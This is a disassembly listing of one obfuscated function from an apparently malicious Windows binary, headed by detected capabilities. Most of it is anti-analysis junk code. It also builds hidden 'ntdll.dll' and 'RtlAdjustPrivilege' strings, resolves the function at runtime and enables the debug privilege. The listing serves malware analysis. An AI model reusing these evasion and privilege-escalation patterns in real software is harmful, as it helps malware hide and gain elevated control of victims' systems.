Function at 0x10028044
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
jae 0x10027976
jmp 0x10027971
call fcn.10027978
jae 0x10027971
add esp, 4
jmp 0x1002797d
dec dword [esp]
jno 0x10027982
jns 0x1002796d
jp 0x10027986
add esp, 4
popf
jmp 0x1002798d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100279a6
jne 0x100279a6
add byte [ebx + eax - 0x15], bh
add eax, dword [eax]
jl 0x100279ab
jmp 0x100279ad
je 0x100279a8
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100279c7
jne 0x100279c6
call 0x93066a4e
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100279d5
jne 0x100279d5
call 0xd0883a0c
xor eax, eax
test eax, eax
je 0x100279de
jne 0x100279dd
call 0x93066a65
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
push ss
xor eax, 3
add eax, 4
xor eax, 5
jl 0x100279ec
jmp 0x100279ee
je 0x100279e9
clc
jae 0x100279f3
fist word [esi]
je 0x100279f8
jne 0x100279f8
push ss
pushf
push 0xa
jae 0x10027a05
jmp 0x10027a00
call 0x10027a07
jae 0x10027a00
add esp, 4
jmp 0x10027a0c
dec dword [esp]
jno 0x10027a11
jns 0x100279fc
jp 0x10027a15
add esp, 4
popf
jmp 0x10027a1c
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027a35
jne 0x10027a35
call 0x1fc2ad89
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x10027a4b
mov ah, 0x79
pushf
push 0xa
jae 0x10027a58
jmp 0x10027a53
call 0x10027a5a
jae 0x10027a53
add esp, 4
jmp 0x10027a5f
dec dword [esp]
jno 0x10027a64
jns 0x10027a4f
jp 0x10027a68
add esp, 4
popf
jmp 0x10027a6f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027a88
add esi, dword [ebp + 1]
jne 0x10027a88
jns 0x10027b05
jl 0x10027a8d
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x10027a8f
je 0x10027a8a
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10027aa9
jne 0x10027aa8
call 0x93066b30
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10027ab7
jne 0x10027ab7
call 0x160cff23
adc byte [ebp - 0x12773], cl
call dword [ecx - 0x18]
enter 0xffffffffffffffd9, 0xffffffffffffffff
push str.1111
lea ecx, [ebp - 0x128]
push ecx
call fcn.10025490
add esp, 8
movzx edx, al
test edx, edx
je 0x10027ad7
call fcn.100157d0
xor eax, eax
test eax, eax
je 0x10027ae0
jne 0x10027adf
call 0x93066b67
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
invalid
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10027aee
jmp 0x10027af0
je 0x10027aeb
clc
jae 0x10027af5
jg 0x10027a84
je 0x10027afa
jne 0x10027afa
invalid
pushf
push 0xa
jae 0x10027b07
jmp 0x10027b02
call 0x10027b09
add byte [eax], al
jae 0x10027b02
add esp, 4
jmp 0x10027b0e
dec dword [esp]
jno 0x10027b13
jns 0x10027afe
jp 0x10027b17
add esp, 4
popf
jmp 0x10027b1e
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027b37
jne 0x10027b37
call 0x1fc2ae8b
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
clc
jae 0x10027b4d
push esp
pushf
pushf
push 0xa
jae 0x10027b5a
jmp 0x10027b55
call 0x10027b5c
jae 0x10027b55
add esp, 4
jmp 0x10027b61
dec dword [esp]
jno 0x10027b66
jns 0x10027b51
jp 0x10027b6a
add esp, 4
popf
jmp 0x10027b71
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027b8a
jne 0x10027b8a
bnd jl 0x10027b8f
jl 0x10027b8f
jmp 0x10027b91
je 0x10027b8c
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10027bab
jne 0x10027baa
call 0x93066c32
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10027bb9
jne 0x10027bb9
call 0x160d0425
adc byte [ebp - 0x10f7b], cl
call dword [eax - 0x18]
invalid
push 0x10060a88
lea eax, [ebp - 0x110]
push eax
call fcn.10025490
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x10027bd9
call 0x100137c0
clc
jae 0x10027bde
and al, 0xb0
pushf
push 0xa
jae 0x10027beb
jmp 0x10027be6
call 0x10027bed
jae 0x10027be6
add esp, 4
jmp 0x10027bf2
dec dword [esp]
jno 0x10027bf7
jns 0x10027be2
jp 0x10027bfb
add esp, 4
popf
jmp 0x10027c02
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027c1b
jne 0x10027c1b
mov al, 0x7c
add ebp, ebx
add esi, dword [eax + 0x3350fb74]
ror byte [edi], 0x9b
rcl byte [edx + 0x33], 0xd0
jl 0x10027c20
jmp 0x10027c22
je 0x10027c1d
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10027c3c
jne 0x10027c3b
call 0x93066cc3
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10027c4a
jne 0x10027c4a
call 0xd0883c81
xor eax, eax
test eax, eax
je 0x10027c53
jne 0x10027c52
call 0x93066cda
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10027c61
jmp 0x10027c63
je 0x10027c5e
clc
jae 0x10027c68
invalid
je 0x10027c6d
jne 0x10027c6d
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10027c7a
jmp 0x10027c75
call 0x10027c7c
jae 0x10027c75
add esp, 4
jmp 0x10027c81
dec dword [esp]
jno 0x10027c86
jns 0x10027c71
jp 0x10027c8a
add esp, 4
popf
jmp 0x10027c91
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027caa
jne 0x10027caa
call 0x1fc2affe
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0x10060a8c
lea edx, [ebp - 0xf8]
push edx
call fcn.10025490
add esp, 8
movzx eax, al
test eax, eax
je 0x10027fa1
mov dword [ebp - 0x27c], 0
mov ecx, 0x6e
mov word [ebp - 0x24], cx
mov edx, 0x74
mov word [ebp - 0x22], dx
mov eax, 0x64
mov word [ebp - 0x20], ax
mov ecx, 0x6c
mov word [ebp - 0x1e], cx
mov edx, 0x6c
mov word [ebp - 0x1c], dx
mov eax, 0x2e
mov word [ebp - 0x1a], ax
mov ecx, 0x64
mov word [ebp - 0x18], cx
mov edx, 0x6c
mov word [ebp - 0x16], dx
mov eax, 0x6c
mov word [ebp - 0x14], ax
xor ecx, ecx
mov word [ebp - 0x12], cx
mov edx, 0x52
mov word [ebp - 0x4c], dx
mov eax, 0x74
mov word [ebp - 0x4a], ax
mov ecx, 0x6c
mov word [ebp - 0x48], cx
mov edx, 0x41
mov word [ebp - 0x46], dx
mov eax, 0x64
mov word [ebp - 0x44], ax
mov ecx, 0x6a
mov word [ebp - 0x42], cx
mov edx, 0x75
mov word [ebp - 0x40], dx
mov eax, 0x73
mov word [ebp - 0x3e], ax
mov ecx, 0x74
mov word [ebp - 0x3c], cx
mov edx, 0x50
mov word [ebp - 0x3a], dx
mov eax, 0x72
mov word [ebp - 0x38], ax
mov ecx, 0x69
mov word [ebp - 0x36], cx
mov edx, 0x76
mov word [ebp - 0x34], dx
mov eax, 0x69
mov word [ebp - 0x32], ax
mov ecx, 0x6c
mov word [ebp - 0x30], cx
mov edx, 0x65
mov word [ebp - 0x2e], dx
mov eax, 0x67
mov word [ebp - 0x2c], ax
mov ecx, 0x65
mov word [ebp - 0x2a], cx
xor edx, edx
mov word [ebp - 0x28], dx
push 0
push 0
push 0x32
lea eax, [ebp - 0x80]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x4c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edx, [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x2d8], eax
lea eax, [ebp - 0x80]
push eax
mov ecx, dword [ebp - 0x2d8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x27c], eax
clc
jae 0x10027e29
xchg dword [edx + 0xa6a9c66], ebx
pushf
push 0xa
jae 0x10027e36
jmp 0x10027e31
call 0x10027e38
jae 0x10027e31
add esp, 4
jmp 0x10027e3d
dec dword [esp]
jno 0x10027e42
jns 0x10027e2d
jp 0x10027e46
add esp, 4
popf
jmp 0x10027e4d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027e66
jne 0x10027e66
lcall 0x749a, 0x3eb037c
sti
jl 0x10027e6b
jmp 0x10027e6d
je 0x10027e68
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10027e87
jne 0x10027e86
call 0x93066f0e
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10027e95
jne 0x10027e95
call 0xd871424
invalid
mov edx, dword [ebp - 0x27c]
mov dword [ebp - 0x2dc], edx
lea eax, [ebp - 0xc5]
push eax
push 0
push 1
push 0x14
call dword [ebp - 0x2dc]
mov dword [ebp - 0x2e8], eax
xor eax, eax
test eax, eax
je 0x10027ec3
jne 0x10027ec2
call 0x93066f4a
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
and dword [ebx + edi*8 - 8], esi
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10027ed1
jmp 0x10027ed3
je 0x10027ece
clc
jae 0x10027ed8
add dword [ecx], esp
je 0x10027edd
jne 0x10027edd
and dword [esi - 0x64], esp
pushf
push 0xa
jae 0x10027eea
jmp 0x10027ee5
call 0x10027eec
jae 0x10027ee5
add esp, 4
jmp 0x10027ef1
clc
jae 0x10027fa6
daa
push ss
pushf
push 0xa
jae 0x10027fb3
jmp 0x10027fae
call 0x10027fb5
jae 0x10027fae
add esp, 4
jmp 0x10027fba
dec dword [esp]
jno 0x10027fbf
jns 0x10027faa
jp 0x10027fc3
add esp, 4
popf
jmp 0x10027fca
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10027fe3
jne 0x10027fe3
push ss
jl 0x10027fe8
jmp 0x10027fea
je 0x10027fe5
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10028004
jne 0x10028003
call 0x9306708b
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10028012
jne 0x10028012
call 0xd0884049
xor eax, eax
test eax, eax
je 0x1002801b
jne 0x1002801a
call 0x930670a2
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
fdiv qword [ebx + edi*8 - 8]
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10028029
jmp 0x1002802b
je 0x10028026
clc
jae 0x10028030
into
fdiv qword [ebx + eax + 0x75]
add esp, ebx
je 0x10028035
jne 0x10028035
fsub qword [esi - 0x64]
pushf
push 0xa
jae 0x10028042
jmp 0x1002803d
call 0x10028044
jae 0x1002803d
add esp, 4
jmp 0x10028049